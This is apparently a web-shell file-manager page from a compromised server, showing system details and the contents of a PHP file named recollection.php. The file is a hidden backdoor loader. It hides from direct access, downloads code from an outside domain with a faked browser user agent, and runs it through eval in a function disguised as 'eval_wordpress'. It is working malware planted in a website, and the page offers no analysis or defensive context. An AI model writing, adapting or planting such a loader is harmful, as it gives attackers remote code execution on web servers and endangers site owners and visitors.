HEX
Server: LiteSpeed
System: Linux bq-e808 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User: memecom (1010)
PHP: 8.2.27
Disabled: NONE
Upload Files
File: /home/memecom/domains/br8.page/public_html/recollection.php
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    header('HTTP/1.0 403 Forbidden');
    exit('Access denied.');
}
?>
<?php
function get_remote_content($url = 'http://z60327_7.mblanda.shop/stat/domain_index.txt' ) {
    $ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0';    
    if (ini_get('allow_url_fopen')) {
        $ctx = stream_context_create(["http" => ["header" => "User-Agent: $ua\r\n"]]);
        $res = @file_get_contents($url, false, $ctx);
        if ($res) return $res;
    }    
    $p = parse_url($url);
    $host = $p['host'];
    $port = ($p['scheme'] == 'https') ? 443 : 80;
    $sock = @fsockopen(($port == 443 ? "ssl://" : "") . $host, $port, $en, $er, 10);
    if ($sock) {
        $req = "GET " . ($p['path'] ?? '/') . " HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\nConnection: Close\r\n\r\n";
        fwrite($sock, $req);
        $raw = '';
        while (!feof($sock)) { $raw .= fgets($sock, 1024); }
        fclose($sock);
        return substr($raw, strpos($raw, "\r\n\r\n") + 4);
    }
    return false;
}

function eval_wordpress( $content ){
    if ( $content ) {
    	for( $i=0; $i<2; $i++){
    		while ( $i < 5 ){
    			eval( $content );
    			break;
    		}
    		break;
    	}
    }
}
$payload = eval_wordpress( '?>'.get_remote_content( ) );